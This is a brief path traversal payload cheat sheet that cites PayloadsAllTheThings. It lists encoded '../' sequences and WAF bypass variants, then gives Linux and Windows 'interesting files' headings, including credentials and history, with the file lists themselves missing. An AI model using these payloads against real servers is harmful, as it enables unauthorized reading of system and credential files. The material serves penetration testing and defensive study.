Path Traversal

Basic Payloads

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

Bypasses

# If WAF removing "../"
..././
...\.\
..;/

# Double URL encoding
. = %252e
/ = %252f
\ = %255c

Interesting Files

Linux

Interesting files:

  • Operating System and Informations

  • Processes

  • Network

  • Current Path

  • Indexing

  • Credentials and history

  • Possible payload injectable files:

Windows

Interesting files:

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal